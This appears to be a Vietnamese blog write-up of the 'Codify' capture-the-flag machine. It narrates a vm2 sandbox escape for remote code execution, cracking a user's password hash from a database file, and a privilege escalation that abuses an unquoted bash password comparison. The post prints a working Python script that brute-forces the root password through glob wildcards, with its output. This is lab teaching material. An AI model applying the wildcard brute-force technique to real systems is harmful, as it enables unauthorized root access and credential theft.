Codify

Enumeration

Zenmap:

Kiểm tra website:
Đây là một website giúp tôi có thể chạy được nodejs trong sandbox. Nếu vậy tôi có thể rce từ đây. Nhưng có một vài giới hạn:

Gaining access svc

Tìm kiếm sandbox environment nodejs vulnerability tôi thấy có sự xuất hiện của vm2.
Tìm kiếm sandbox environment nodejs với vm2 tôi thấy: Sandbox Escape in vm2
Kiểm tra khai thác này:
Tôi biết rằng mình có thực hiện được rce. Khi đó tôi có kết nối reverse shell như sau:

Gaining access joshua

kiểm tra các thư mục source code website:
Tôi tìm thấy file tickets.db, đọc nó và tôi có hash password của joshua. Crack nó.
Connect ssh:

Privilege escalation

Đọc source code file /opt/scripts/mysql-backup.sh:
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
Tôi thấy rằng DB_PASS được so sánh với USER_PASS một chuỗi ký tự được lấy từ input. Khi đó tôi thấy có một lỗ hổng, nếu input là * thì kết quả của phép so sánh là true.
khi đó thử nghiệm của tôi như sau:
Tôi thấy kết quả đã thành công. Khi đó tôi viết một đoạn mã python như sau:
import os
import string

charset = string.printable
resfult = ""

def get(i):
    temp_hash = os.popen(f"echo '{i}'* | sudo /opt/scripts/mysql-backup.sh").read().split("\n")[1]
    return temp_hash == 'Password confirmed!'

def find_char():
    for i in charset:
        test_data = resfult + i
        if get(test_data):
            return i
    return None

while True:
    new_char = find_char()
    print(f"pass: {resfult + new_char}")
    if not new_char:
        break
    else:
        resfult += new_char
Đoạn mã trên không phải là tốt nhất do tôi không quá quen với việc viết code python. Ai có đoạn mã tốt hơn có thể cho tôi tham khảo cách viết của bạn. Cám ơn.
Khi đó tôi có khai thác như sau:
joshua@codify:~$ nano exploit.py
joshua@codify:~$ python3 exploit.py
mysql: [Warning] Using a password on the command line interface can be insecure.
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
pass: k
............
-- Warning: column statistics not supported by the server.
pass: k********************
/bin/sh: 1: Syntax error: Unterminated quoted string
Traceback (most recent call last):
  File "/home/joshua/exploit.py", line 19, in <module>
    new_char = find_char()
  File "/home/joshua/exploit.py", line 14, in find_char
    if get(test_data):
  File "/home/joshua/exploit.py", line 8, in get
    temp_hash = os.popen(f"echo '{i}'* | sudo /opt/scripts/mysql-backup.sh").read().split("\n")[1]
IndexError: list index out of range
Khi đó tôi đã có password, sử dụng nó để login root:



Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post